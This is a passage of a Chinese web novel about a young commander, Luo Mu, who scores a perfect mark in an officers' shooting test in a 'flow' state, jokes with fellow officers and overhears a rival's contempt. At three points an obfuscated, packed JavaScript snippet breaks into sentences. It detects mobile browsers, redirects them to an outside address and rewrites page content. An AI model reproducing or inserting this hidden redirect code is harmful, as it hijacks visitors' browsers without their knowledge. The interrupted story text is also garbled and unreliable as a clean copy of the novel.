这个习惯她保留到了现在。洛暮躺在床上复盘今天发生的所有事情,剧情刚进展到她与两个队长共进早餐,她就进入了梦乡。 31.心流初醒(二) “连长早上好,昨晚休息得怎么样?” “非常精神,一大早就清醒了。你呢,布莱尔?” “想到今天的测试,就翻来覆去睡不着,很兴奋,让我想起升学考试的前一天晚上。” “这倒是,我升学考试前一天晚上也激动得差点睡不着,看来大家都差不多。正好遇见了,走吧,我们一起去训练场。”洛暮笑道。 今天是个大晴天,一营的几百号人全都聚集在训练场上,最受期待的当然是军官们的测试。 参加测试的军官总共有十一位。三位连长以及他们手下的八名队长,一连和二连分别有三名队长,三连作为预备连只有两名。 营长周霖没有参与其中,他这四十多岁的人确实没法和一群二十多的年轻人比军事素质,今天他只需要乐呵呵地站在中间,和从团部借调来的几个干事一起做裁判。 本来要到基层视察的师长临时有事,取消了这趟行程。周霖有些失落,但转念一想领导不来岂不是更轻松,看着一群热血沸腾的年轻人总比在师长面前低声下气好,如此他也就释然了。 他唯一没有料到的是团部来的干事里居然还有后勤处处长。 处长与他的军衔一样都是少校,仗着家室优越不把他们放在眼里,能够赏脸来这当裁判简直是破天荒。 周霖礼貌地与处长打招呼:“陆处长,你也来了啊。” 后勤处处长的大名是陆雅晴,与阿德尔玛第一师的师长同姓。她打扮得跟平时一样时髦,面对周霖罕见地露出笑容:“是呀,周营长。你手下的洛暮连长跑上跑下来了后勤处好几趟,帮过我不少忙。今天正好有空,也来给你们当当裁判。” 能和陆雅晴打好关系自然是益处无穷的,周霖连忙说:“原来是小洛啊,年轻人就是有活力,处长把她当自己人好了,平时跑跑腿什么的尽管吩咐。” 陆雅晴笑道:“那是,小洛这种年轻人谁不喜欢,虽然年纪小但做事周到,很让人放心。” 他们边说边向台下看去,在军官的组织下所有士兵已经落座。接着十一个军官就自发地站到一起,他们清一色穿着作战服,清爽利落。放眼望去个子最低的那个就是洛暮,身高对比之剧烈完全是另一种鹤立鸡群。 洛暮实在不愿意和这群人凑到一块。 她身边站的是布莱尔和一连的艾莉。布莱尔身高一米七六洛暮是知道的,艾莉更是高得过分,目测在一米八往上。 虽然有年龄和人种差异的客观原因在这放着,但洛暮对这种差异还是有些郁闷,她在两位女军官中间站着,就像小白杨夹在两颗榆树之间。 她心说早知道当年就少熬夜读书,这样也许还能再长高点。但这又怪得了她吗?母亲为锻炼洛暮独立的性格,在她的五岁时候就分房睡,洛暮晚上害怕就会起来读书,读到困为止。 后来母亲过世洛暮独自生活,她熬夜就更加猖獗。有时候洛暮熬着熬着就会很伤心,她是可以光明正大地熬夜了,但她更希望有个女人冲进房间逮住被子里刷手环的自己一顿训斥。 这样即使一辈子都没出息地躲在被子里刷手环又有什么关系呢。 周霖开始说开场词。慷慨激昂文采飞扬的开场词洛暮一句都懒得听,反正这是她写的。 李秋阳倒是听得很认真,不过他心里想的是这段开场词换个人来讲,表达力还可以再强两倍。周霖真是可惜了洛暮写的好词。 过了一会,致辞结束,台下顿时响起雷鸣般的掌声,看得出大家都对开场词很满意。周霖也很得意,丝毫不觉得这效果是开场词的功劳,营长以为是他强大的号召力才让众人如此激动。 他咳嗽了两声,说:“好,现在我正式宣布,测试开始!” 洛暮面带微笑地鼓掌。总算结束了,要是预料到周霖说话这么拖沓,她就把开场词写得再少一点。 第一个项目是射击。 与后面的格斗和越野比起来,射击简直就是开胃小菜,进行速度快又相对不耗费体力,放在第一项再合适不过。 首先是三个连长上场,洛暮刚站到台前,就听见三连的方阵传来一阵欢呼,掺杂着“连长加油”的大吼。一连的士兵也不甘示弱,紧随其后就开始呐喊助威,但他们比三连多出不少人,声势却堪堪打平。 李秋阳笑而不语,心里则在吐槽自己手下这帮人是没吃早饭吗,居然差点被三连压过去了。洛暮想作出严肃的模样,但嘴角眼角流露的笑意已经出卖她了。 二连的士兵呼喊声远逊于其他两个连,他们的心态很复杂,既不想在气势上输给一连和三连,但情感上又不是很想给冯·莱恩加油。 要是第一局是三队奥利弗上就好了,他们就可以更卖力地给亲爱的三队助威。 第一局自然是要营长亲自主持了,周霖站在三人旁边,满意地看着自己的得力下属们。 他们正在摆弄散落一桌的零件。当前三位连长的任务是将这堆零件拼装还原成完整的枪械。言外之意就是连枪械的结构都不了解你还打什么靶子,赶紧下台吧。 周霖在中间转来转去,煞有介事地观察他们的进度。其实营长心里知道换自己肯定就是拼不出来遗憾离场的那个,只能说现在的年轻人都太过努力,威力足以把所有前浪拍死在沙滩上。 三个连长脸上的神情都不相同,李秋阳从容,冯·莱恩肃穆,洛暮沉静。训练场上旁观的士兵们都静悄悄的,摄像头把连长的影像放大在他们面前,每个人都全神贯注地盯着连长们的动作。 洛暮有条不紊地拼装枪械,她其实讨厌任何跟手工扯上关系的东西,只有拼装枪械是例外。 记得望渊有工程课,课程内容是画图纸搭积木,让洛暮很是烦躁。最该死的是这门课还持续了一年,第一个学期她的作业全是陈砚泽代劳。 第二个学期陈砚泽交换期结束,失去助力的洛暮彻底放飞自我,平时交的作业令教授直呼抽象主义后继有人,并说能搞出这种东西的不是疯子也不是天才,完全就是大白痴。 洛暮正是手工方面货真价实的白痴,她擅长枪械拼装只是因为她迷恋枪支握在手中的感觉,那是一种真理掌握手中的神圣感觉。 她的拼装速度在三人中暂时居于第一。 他们拼装的是阿德尔玛军官常配的星辉系列,与阿纳斯塔西亚惯用的地行者系列有一定差异。洛暮刚来的那段时间就在改变自己用枪的习惯,适应新的武器。 宇宙鸿沟的存在让阿德尔玛与阿纳斯塔西亚联系不甚紧密,两方的武器装备乃至文化习惯自然相差较大,光从武器的起名风格就能窥出一二。 阿德尔玛的星辉系列仿佛是一个人喊着我要飞到太空去看星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160791|163726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星,阿纳斯塔西亚的地行者系列听上去就厚重许多,人家一个劲想往地下钻呢。 要拼装的有三种枪型,洛暮已经完成了步枪和冲锋枪的组装,现在只剩下一个手枪,她习惯把最简单的放到最后。 洛暮顺次安装好弹药仓、枪管和瞄准器,最后把能量板扣进凹槽,激活手枪的能量系统。场下立刻传来欢呼声,三连的人大声庆祝他们的连长第一个完成了枪械的组装。 洛暮笑了笑,拿起手枪进行瞄准,确定准星没问题后她轻轻抚摸枪身,星辉系列的武器颜值很高,银色的外壳和流畅的线条设计让洛暮百看不厌。 这一幕落到其他人眼里颇有种抚剑自怜的感觉,无论是人还是枪都优雅得不可方物,让人呼吸都不由得放缓了。 与他们感觉到的不同,洛暮脑中在进行飞速的运算。如果大脑也能发出机器那样的运转声,那她周围的人一定能听见轰鸣的发动机启动声。 她即将进入一种奇妙的状态,以来应对接下来的几项测试。 进入这种状态要耗费一些时间,就像电脑开机那样需要等待。此刻她的身体内部运转加快,能量消耗提高,整个世界开始呈慢倍速进行。 所有人的动作被放得极其缓慢。她身边的冯·莱恩明明在灵巧地完成拼装的最后几步,但洛暮眼中他如同七十多岁的老人在颤颤巍巍捡地上的豆子。周围的声音如此嘈杂,洛暮却能轻易分辨出任何一个声音,无论是空中飞行虫子的振翅声,还是吴肖利与高余的呐喊声。 处在这种状态中,她的视角悄无声息地扩宽了,这绝非是任何一个地上生灵能具备的视野,更像是神明在高处俯视纸盒里的众生百态。 李秋阳和冯·莱恩几乎同时完成枪支的组装,这意味着测试要正式开始。组装完成的快慢不计入成绩,但冯·莱恩显然受到了影响,他举枪瞄准的手微微颤抖,好像对自己不够自信。 李秋阳脸上仍旧是淡然的神色,他甚至还有心情对洛暮投来一个赞赏的眼神。洛暮想像平时那样笑着回应,但现在的她只能做到面无表情地点点头,身上突然有种奇异的不怒自威的气质。 李秋阳微微一愣,心说这个人认真起来果然和平时大不相同。 随着周霖的下令,他们举起手枪瞄准靶心。 与其他两人认真的状态相比,洛暮显得漫不经心多了。她心里也觉得奇怪,明明刚才自己还对测试非常重视,可现在她觉得眼前的一切都毫无意义。 结果毫无意义,地面毫无意义,人群与世界都毫无意义。巨大的空虚失落笼罩住了洛暮,让她心中焦躁不安。 她突然意识到唯一能缓解这种情绪的就是头顶的天空。宇宙中似乎传来阵阵呼唤,像是有人催促她立刻踏上朝圣的长路。那尽头必有传说中的圣物能填补她缺失的东西。但她究竟在渴望什么? “预备——放!”周霖一声令下。 三轮枪响,洛暮的胳膊由平举恢复到自然下垂。她没有去看靶心,因为她知道自己的三轮子弹一定是弹无虚发正中红心。对她来说击中远处的靶心轻而易举,精准度就像是本人走过去把子弹放在想要的位置。 洛暮甚至隐隐约约有种错觉,即使刚才她对天空开枪,子弹也会像她所想的那样落在靶心上的。 就像是奥丁的长枪,一掷出就必定会命中目标。 32.心流初醒(三) 洛暮知道自己已经完完全全进入到那种状态。 前文明有一个词叫心流,意思是人在高度的沉浸和专注下,就会达到一种忘却自我时间静止的状态,效率无限提高,人与世界达成平衡。 洛暮看到后觉得很贴切,她就给自己的这种状态命名为心流。 她从小就知道自己与众不同。是,她身手矫健智力超群,感官方面灵敏得不可思议。但这些优点不会引起旁人的注意,他们只会把它当做一个不凡的孩子应有的表现。 所有人都不知道另一个洛暮,一个保守着极大秘密的洛暮。 洛暮对自己能够进入心流状态的事情守口如瓶,她冥冥中意识到这个事情事关重大,可她无从探查。 小时候心流状态可遇不可求,它只在洛暮极度用功时突然降临,大脑可怕的高速运转让洛暮一下病倒。母亲非常惊奇,她问洛暮是不是患有考前综合征,不然何以逢考必病。 洛暮懒得跟母亲解释,她说笨妈妈什么都不懂。这话让母亲很伤心,女人说我要是笨就不会有你了,但过了一会她又长叹道我当年确实很笨。现在想想母亲真是个矛盾的人,她仿佛被过去的事情困扰了很多年,直到死的那一刻才能安息。 等洛暮真正学会控制心流已经到十七岁了。这位望渊军校的学子会在完成一些高难度任务时唤醒心流,有意地锻炼自己运用它的能力。 那时她的体能和脑力得到大幅度的提升,行事效率高到惊人。譬如替弗吉尼亚赶作业的那个晚上,洛暮觉得手简直跟不上她大脑的算力。更棒的是她长大了,心流不会再让她一下子病倒。 她今天再度开启心流,无非是想给自己的测试多一层保障。但奇怪就奇怪在心流突然变了,它不再像从前那样只是让她脑子转得快一点体力更好一点,它慷慨地赋予了洛暮一种从未有过的视野。 这个状态中的洛暮仿佛灵魂脱离躯壳,正于高处俯瞰世界。她眼中万物变得如棋子般渺小,它们都有各自的位置和遵从的规则。 地面既然成了棋盘,那棋手的座位应该在宇宙才是。 周霖和几个裁判官已经商定好成绩,他正在宣读结果:“首先是一连连长李秋阳!第一轮96分,第二轮98分,第三轮97分。总成绩291分!” “喔——”这是一连的欢呼声。 李秋阳淡淡地笑了,脸上毫无骄傲之意。他的表现不错,只是刚开始因为生疏错失些分数,好在第二轮他就纠正过来了。三轮对李秋阳来说都算正常发挥,不好也不坏。 冯·莱恩的脸色就很不好看了,这个年轻人面容惨白,额头隐隐约约沁出了汗。 因为洛暮那可怕的组装效率带来的压力,第一轮他有些紧张,几发子弹偏离较远,分数肯定不高。第二轮勉强找回点状态,而到第三轮,他已经努力保持冷静专注了,但由于体力消耗,成绩也不会有什么提升。 果然,周霖宣读的结果印证了他的想法:“接下来是二连连长冯·莱恩。第一轮92分,第二轮97分,第三轮96分。总成绩285分!” 二连一片沉默。285分在射击中已经是高分了,可有李秋阳珠玉在前,这个分数突然变得没那么光彩。 “其实很好了。”三队队长奥利弗打破沉默,“我们给连长鼓个掌吧。” 稀稀拉拉的掌声响起。 “最后一个是三连连长洛暮!”周霖顿了一下,陡然提高音量,“第一轮,100分,第二轮100分,第三轮100分。总成绩300分!” 周霖的话音刚落,三连爆发出剧烈的喝彩声。 “太帅了!不愧是连长!”高余说。 “我一点都不惊讶。连长自己都说过,她闭着眼睛也能打中靶心。”吴肖利最喜欢扮演事后诸葛。 “我就知道,连长之前也超级准,弹无虚发!”布莱尔满怀钦佩。 “只有我想说连长把压力给到我们了吗?但凡我们差一点都不好意思说是她的队长。”白越且喜且悲,三连的军官中属他射击最差劲,他现在压力大得想退赛。 早就料到结果的洛暮摁住额头,她正在努力地压制心流状态,试图进入到所谓的节能状态,让大脑停止这种疯狂的运转。 受不了,大脑一个劲加载那个破上帝视角究竟有什么用,完全是在挥霍身体能量,再这样下去她觉得自己又可以大病一场了。 “恭喜啊,不舒服吗?”李秋阳问。 “没有……你就当我被喜悦冲昏头脑了吧。”洛暮随口说。 她终于从高处的视角挣脱出来了,这会正小心翼翼地控制心流对身体的的增益。洛暮能感受到自己的状况:心跳加快,大脑运转速度增加,能量消耗维持稳定状态。 没有问题,一切处于平衡,心流可以持续很久。美中不足的是头颅隐隐作痛,这是每次进入心流必要的代价。废话,电脑用久了都会发热。 她的注意力重新回到现实,周霖已经走到她面前,鼓励式地拍拍洛暮的肩:“洛暮连长!非常优秀,继续保持!” “谢谢营长。”洛暮说。 她没有露出笑容,因为脑袋实在太疼了。她的面无表情和平时反差有些大,周霖没有半分不悦,在他眼中这就是一种别样的谦虚,不为外界评价动摇的镇定。 周霖更加欣赏地点点头,关怀道:“先休息休息,准备下一场。” 陆雅晴和周霖是一起来的,她笑着说:“洛暮连长深藏不露,我之前怎么没发现你还是这样的高手,三轮全部满分,我头一次见。我又带了些点心,你要不要补充下能量?” 这可太让她满意了,洛暮最需要的就是能量,刚才那遭让她觉得被耗干了。 两人回到三连的位置。 看到连长回来,战士们迅速围上来,连番称赞,对着洛暮把历代奸臣会说的台词说了个遍,要是换成个大好喜功的皇帝非得当场给他们加官进爵不可。 洛暮压着头痛一一回应,她觉得自己现在的笑肯定比哭还要惨烈。。 战士们没有忘记称赞连长旁边的那位少校,根据吴肖利的经验,夸人家好看就行了。 陆雅晴果然很高兴,她捂着嘴笑起来,说:“洛暮连长,你们连真有意思,大家都这么活泼吗?” 洛暮心说我也不知道他们怎么会活泼成这个样子,都说连长要起带头作用,我这个人可是很严肃很稳重的。 结果陆雅晴下一句就是:“什么样的连长带出什么样的连,这句话还真说对了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163279|163726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……自己活泼吗? 换成平时洛暮多少要分辩一下,但她现在不想多花力气,只顾得上吃陆处长的爱心甜点。等到陆雅晴拿着空袋子满意离去后,布莱尔无缝衔接,为洛暮递上早就准备好的能量饮料。 自己何德何能得到如此无微不至的关照,洛暮感谢道:“谢谢布莱尔,考虑得好周到。” 她喝第一口就笑了,说:“竟然还是葡萄口味的。” “连长不是最喜欢这个口味吗,我特意拿的。刚才的射击实在漂亮,知道连长很厉害,但没想到三轮全是满分!我和白越都有点紧张了。” “确实最喜欢葡萄味,哎呀,不用紧张,我只是运气好。”洛暮很快就把喝空的瓶子放到一边,现在她短暂地从心流中退出来了,身体就像待机的电脑,经过预热再开启就会非常容易。 她问:“布莱尔也快要上场了吧。” “是的,下一场就是我。正在进行的这场是白越,同组的还有奥利弗和赛德。连长,白越刚刚看到自己和奥利弗分到一块后脸都绿了呢。” “没关系,一队非常抗压,无论怎样的结果他都能坦然接受,况且他不擅长射击,我们理解的。”洛暮笑道。 很快,裁判席传来这一场的成绩,白越280分,奥利弗293分,赛德282分。 尽管白越的分数在同组人的衬托下灰头土脸,三连依旧报以热烈的掌声。布莱尔这时已经去台下等候了,现在坐在洛暮身边的是吴肖利,他说:“连长,那个奥利弗果然不可小觑。居然比李秋阳连长的成绩还要高。” “正常。李秋阳军务缠身,又军校毕业好几年了,奥利弗还是新人。肖利,你要记住,很多人的军事素质是从军校出来后就递减的。李秋阳连长能上290我都很敬佩了。” 吴肖利犯愁了:“那我这种没上过军校的怎么办?” “大胆,你没上过军校吗?你不是正在读我们三连军校吗?”洛暮笑问。 在旁边听他们两个说话的士兵都笑了,吴肖利立刻点头:“对,是三连军校!” 这时白越也回到连队了,他看见坐在第一排的洛暮,登时尴尬道:“连长……” 其实他这个280分也不算很难看,只是有洛暮这种满分选手在前面,所有人对三连有了不切实际的期待。白越一向是无所谓自己怎么样,但要是别人因此说三连,他可就要难受了。 “这不是很好吗?比之前大有进步。测试而已,又不给你发奖牌。快坐,接下来就看布莱尔。后面还有那么多项目,赶紧恢复下体力。”洛暮说。 “对布莱尔就放心吧,在台下遇见她时,她还说绝不会和连长差太远,要冲击290分。我当时听到更加惭愧了。”白越说。 “这个我相信她。哎呀,不用惭愧。要是见到一个比自己厉害的人就惭愧一番,我们岂不是天天都在惭愧了,那样活得多累。”洛暮宽慰道,她忽然问道,“奥利弗是个怎样的人?” 她这一打岔,白越果然转移了注意力,说:“很优秀,很年轻,但不是那种锋芒毕露的性格,感觉会是连长你的劲敌。测试前我们聊了几句,他也向我打听连长你呢。” “哦,那你怎么说的?”洛暮来了兴趣。 33.心流初醒(四) “我守口如瓶,一句准话都没给他透露。就让他们猜去吧,反正后面自然会见分晓。”白越为自己的保密意识而自豪。 “很好,就要这样,正所谓天机不可泄露。”洛暮笑道。 这时候布莱尔的成绩也出来了,290分,是她那组唯一一位上了290分的军官。她快步走回来,眼睛亮亮的,问:“怎么样,连长!” “还用说吗,当然是非常优秀了。不愧是二队!”洛暮说。 “比起你还是有很大差距。”听到洛暮的赞扬,布莱尔不好意思了。 “没事嘛,你可以跟我比。280,290,300。原来我们的成绩还是个等差数列,我感觉完全抬不起头了!”白越苦涩地说。 他觉得在三连真是太难混下去了。连长洛暮是个全才,这种人你就不要和她比了,比下去只会怀疑人生,萌发出既生她何生我的虚无感。 而二队布莱尔对自身要求高得令人咂舌,她万事力图做到完美,认真到有点死板的地步。明明白越本身不算差劲,可和两位同僚一对比,他突然就成了划水的鱼,装饭的桶。这种悲凉的心绪恐怕没人能跟他感同身受。 布莱尔见白越神色悲切,体贴地安慰他:“没关系,二百七十多分的大有人在,白越你不用这样。而且你还有一个优势。” “什么优势?”白越精神一振,原来自己还有优势,这就是当局者迷旁观者清吗。 “你自己不知道吗?连长,你肯定知道吧。”布莱尔看向洛暮。 “我当然知道。白越,阿尔嘉军校的毕业生,营长的师弟,我连最有背景的人。”洛暮一本正经地说。 她刚说完就没有忍住,和布莱尔一同大笑起来。 “喂喂喂,我这个水平营长恐怕只想清理门户吧。”白越无力地说。 “你们怎么笑得这么开心?白越,是不是你连长又欺负你了?”一连方向走两名军官,其中一个笑着打趣道。 是李秋阳,他身后还跟着一连的一名队长。 对于一连连长的到访,三连的众人已经习以为常。白越看到李秋阳仿佛看到救星:“李连长是青天大老爷!我刚刚一直被我们连长和布莱尔嘲笑,你快来捞我。” “明明是在称赞你,白越歪曲真相。”布莱尔边笑边反驳。 “你完蛋啦白越,通敌卖连,没你好果子吃。”洛暮笑道。 她看向李秋阳身后那个队长,说:“哟,还把艾克斯带来了,平时你都是孤身犯险的,这次怎么如此谨慎。” “面对你这种射击测试拿三百分的狠角色,当然要谨慎。毕竟现在我们两个连是竞争对手,要是你一声令下把我扣在这怎么办。必须带一个保镖,是不是,艾克斯?”李秋阳也含着笑意。 名叫艾克斯的军官是一连二队的队长,容貌清秀,看上去像是隔壁家读高中的弟弟。他拥有一头剪得极为利落的栗色短发和灰紫色的眼睛,洛暮曾私下称赞过艾克斯的眼睛像晨曦初照下的薄雾,温柔又宁静。 巧就巧在艾克斯的性格正好是那种文静内敛的人,与他的眼睛很般配。 当时在场的吴肖利很不服气,他和洛暮人种相同,自然没有那么多变的瞳色与发色。于是他大进谗言,表示艾克斯其实是“细皮嫩肉的偶像练习生”,而且灰紫色眼睛,“丁香花的颜色,看着太柔弱和哀愁了!”。 最后吴肖利总结洛暮身为他们英明的连长,怎能被美色所惑,他必须挺身而出直言进谏。 洛暮听完虚心纳谏幡然悔悟,奖励吴肖利与她对练一场作为全连的格斗示范课。课上洛暮身体力行地证明一张帅气的脸并不能使她手下留情。 听到李秋阳的问话,艾克斯点点头。他不是善于交谈的人,见洛暮盯着他,立刻又沉默着一言不发。 李秋阳淡淡一笑,说来艾克斯还是主动提出要跟他来三连串门。他听到后颇为吃惊,自己的二队向来是闭门造车婉拒所有社交的性格,怎么突然主动起来了。 艾克斯思考半天说三连连长太厉害了,他害怕李秋阳受欺压。艾克斯说着就支支吾吾地不知道如何继续,毕竟这理由怎么听怎么扯淡。而李秋阳头一次发现他的二队还有说冷笑话的天赋。 洛暮神色凝重地说:“本来没这个想法,你这下提醒我了。艾克斯来得正好,我们三连扣住你,让他回去要赎金。计划都给我送上门了,不实施是不是有点可惜。” “果然是你会想出来的主意,我现在溜之大吉还来得及吗?”李秋阳笑了。 洛暮本来是板着脸装作凶狠的样子,这下也破功了。她正准备说点什么,手环却突然震动了一下。 李秋阳和她一同抬起手腕,他们两个几乎是同时收到的消息。洛暮瞥了一眼就关掉界面,她抬头发现李秋阳正看着她,二人相视一笑。 刚刚发来的是格斗对象的抽签结果。 “你抽到了谁?”她问。 “冯·莱恩。” “真是个好对手,一连连长和二连连长终于可以深入交流了。”洛暮调侃道。 “没想到第一次深入交流是这样的,该说是合我心意还是不合我心意呢?”李秋阳叹口气,问,“你呢?” “奥利弗。”洛暮晃晃自己的手环。 “意料之中,你和他的比试一定是最吸引眼球的一场。有压力吗?” 洛暮笑容神秘起来,她问:“秋阳兄觉得呢?” “还有心情卖关子,看来是势在必得。”李秋阳已经很熟悉洛暮的性格,见她摆出高深莫测的样子自然就放心下来。 “怎么会势在必得,我又没有和奥利弗打过交道,现在心里七上八下。据说奥利弗的格斗很强,不过抽到他总比抽到熟人好,不用同室操戈。”洛暮申辩道。 “你的话我向来只信三分。何况有你的射击成绩在前,我对你的七上八下持怀疑态度。”李秋阳微笑着说。 在旁边看两个连长斗法的人全笑了,这笑容无疑是对李秋阳说法的认可。洛暮见状又好气又好笑,说:“你们的笑含义丰富啊。” “这证明大家都对连长信心满满。”白越赶紧说。 “就是就是。”布莱尔小鸡啄米般点头。 “白越,你们还是太委婉了。如果我是洛连长的部下,她射击成绩出来的刹那我就要拿着荧光棒大喊了:连长,最棒!连长,最强!洛连长,无敌!”李秋阳丝毫不顾自己平日的沉稳形象,他在调侃洛暮这方面向来一马当先。 所有人笑得喘不过气。 “我受不了你们了!”洛暮红着脸大喊一声,逃也似地站起来,“可怕,你们联合起来太可怕了。我要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15173257|163726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先躲一躲,等到格斗开始再出现。” “别害羞呀连长,最棒!”布莱尔说。 “最强!”白越说。 “最无敌!”李秋阳说。 艾克斯在一旁笑,洛暮实在忍不下去,脸红得厉害:“怕了你们,我这就走,跑了跑了。” 她看向李秋阳,发出逐客令:“李连长,串门结束了吗,我顺便把你送到一连去。” “你亲自送吗,好高的规格。”李秋阳戏谑道。 “连长我们要不要派几个人护送你去,免得你被一连扣下。”布莱尔也开起了玩笑。 “这就不必,李连长光风霁月,怎么会扣下我。最重要的是我们三连交不起赎金,到那时我自己灰溜溜回来就好。”洛暮说。 她把李秋阳和艾克斯送回一连的方队,又转到射击区那里欣赏三连士兵的表现。正好轮到吴肖利这组进行射击,洛暮往旁边一站,士兵们又激动又紧张。 “连长,没打好能不能不要骂我。”和吴肖利同一轮的潘恩看到洛暮,枪都快拿不住了。 “奇怪,我什么时候骂过你们。枪拿稳,看靶子,不要看我。”洛暮说完惊觉自己似乎变成了一个可恶的教导主任,这台词简直不要太熟悉——看我干什么,看黑板! 吴肖利闷笑,他是少数没有被洛暮到来影响的人,枪端得稳稳当当。尽管体能有些落后,但这段时间吴肖利在射击上下了大功夫,他很期待验证自己的水平。 一场结束,很快就出了成绩。潘恩269分,吴肖利283分。 “肖利,不世出的天才。别让一队知道了,他会嫉妒你的。”洛暮对吴肖利的成绩很满意,她离去时撂下这句话。 士兵们听到连长的话全都笑了。他们把枪交还裁判处后就纷纷用胳膊去戳吴肖利,祝贺他取得这样出色的成绩。吴肖利一直到枪完全离手时才松了口气,他拍拍胸口安抚瞄准时紧张的心脏,低头笑起来。 洛暮走出训练场。从心流状态中退出后她的头疼缓解了不少,但还有一些残留的痛感持续折磨着她。清凉油,她的好伙伴清凉油,洛暮心里念叨着。她回到自己的房间,翻出清凉油往额头滴了几滴。 淡淡的薄荷香立刻弥漫在房间里,这气味让她觉得好受很多。她把清凉油倒过来倒过去摆弄了一会,想起它还是在左拉买的。这个牌子的清凉油只能在小星球见到,老字号,非常好用。 洛暮坐在房间里发了会呆,把清凉油放进外套口袋后推门离去。 她没急着回训练场,只是在围墙外的小道上漫步。墙内人声沸腾,墙外又静谧无人,这种反差感让洛暮觉得很有趣。 绕着围墙的有一圈绿化带,小道在里圈,洛暮看着这些萎靡不振的植物,突然想起望渊那郁郁葱葱的树林。不得不说望渊的园丁实在用心,居然能把校园中那么多果树打理得枝繁叶茂硕果累累,这极大取悦了热爱散步的洛暮。 前面隐隐约约传来人聊天的声音,看来也有人跟她一样出来闲逛。洛暮不喜欢受人打扰,她转过身准备往反方向走。 但耳边突然听到的名字让她停住脚步。 人类进步最大的功劳就是好奇心,尽管它有过害死猫的罪名,可依旧是个值得赞扬的高贵品质。 “你的对手是洛暮?”其中一位聊天者问。 34.薄荷香(一) “是的。”另一位聊天者说。 洛暮心想不出意外这位就是奥利弗了。 “你真走运——完全没有压力了!她格斗怎么可能比得过你,哼,刚从军校毕业的小丫头。”说话那人的语调立刻轻松起来,他还很潇洒地吹了个口哨。 “不好说,真正结果出来不要妄作定论,就像她的射击成绩一样。”奥利弗表现得很沉着。 他的同伴唏嘘道:“你太谨慎了。射击三轮全部满分,听着怎么觉得像是作弊。奥利弗,你军官生涯里有见过射击满分的人吗?我反正没见过。” “不要因为我们做不到,就怀疑别人不具备这样的能力。” 说风凉话的军官讨了个没趣,讪讪地转移话题:“反正格斗看的是技巧和力量,真刀真枪拳拳到肉,我倒要看看她究竟是什么水平。简直受够了,就因为她和三连,冯·莱恩这段时间把我们折腾得喘不过气,我现在只想好好刹下他们的威风!” “三连在洛暮上任后变化确实很大,像是换血一样。她的能力比白越强多了,军事会议上你应该见识过,连长急也是难免。”自始至终奥利弗都保持着客观的态度,没有轻易附和自己的同僚。 “之前营里都是李秋阳的一言堂,现在洛暮也掺进来了。这次的测试也是她一手组织,可见营长有多信任她。” 说到这里,那人顿了一下,接着怀着极大的轻蔑嗤笑道,“照我说测试都是她组织的,掺点水分进去不是很正常?后面的环节设计她和李秋阳一清二楚,就我们二连被蒙在鼓里,你说说这测试结果有参考性吗?” “赛德!”奥利弗警告道。 “奥利弗,你总是这副好脾气的样子。我就是看不惯她,一会测试上我会让她和三连好看的!” 太精彩了,这世上居然有人敢叫嚣让她好看。 洛暮津津有味地听着,叫赛德的那个人她知道,是二连二队的队长。亚麻色头发的小个子,和洛暮一句话都没说过。 谁能料到这个毫无交集的人居然对她怀有这么大的敌意,洛暮有点想笑。她向来不把他人的敌视放在眼里,洛暮允许所有人反对自己,反正她宽宏大量。 但她把这个先进思想分享给林晖时,却遭到了反对。青年冷冷地说出他的见解:“那只是因为你傲慢,洛暮。” 他们当时站在早春初绽的杏花树下,纤弱到透明的花瓣被风吹落,在空中打着旋坠落到两个年轻人的肩上发上。整个七月广场都淹没在如烟如云的粉白花海中,人目光所及之处落英缤纷,花瓣漫过了地面,一点微风就能让它们掀起层层波浪。 洛暮听到这话就微微笑了,她心想论傲慢我哪比得上你啊。不过她没否认,只是把儿时看过的诗轻轻念给林晖听: 宇宙会变化,而我始终如一,我怀着悲哀的自负想着。 这个时节望渊的情侣们终于知道光顾七月广场了,但他们不会走进杏林的深处,只是依偎在广场边缘的长椅上喁喁私语。他们身后,隔着重重花海,洛暮和林晖相对而立,中间是一条花的小溪。 他们之间永远维持着固定的距离,长椅各坐一边,散步各走一侧。但就在此刻林晖很想跨过这道溪流,因为对面的洛暮让花雨落了一身。 林晖不知道前文明里有句诗叫作落花人独立,微雨燕双飞。如果他知道并念出来,那洛暮会很快接出下一句:寓目魂将断,经年梦亦非。 他完全被眼前这一幕打动了。洛暮说出那句“我始终如一”时,林晖突然感受到一种难以形容的孤寂,这种孤寂恰如此处无人欣赏的漫天春色。 一切都改变了,那个始终如一的人还留在原地,这不是寂寞是什么? 林晖很想告诉洛暮这种感受,可最后他只是说:“这首诗是为了印证你的傲慢吗?” 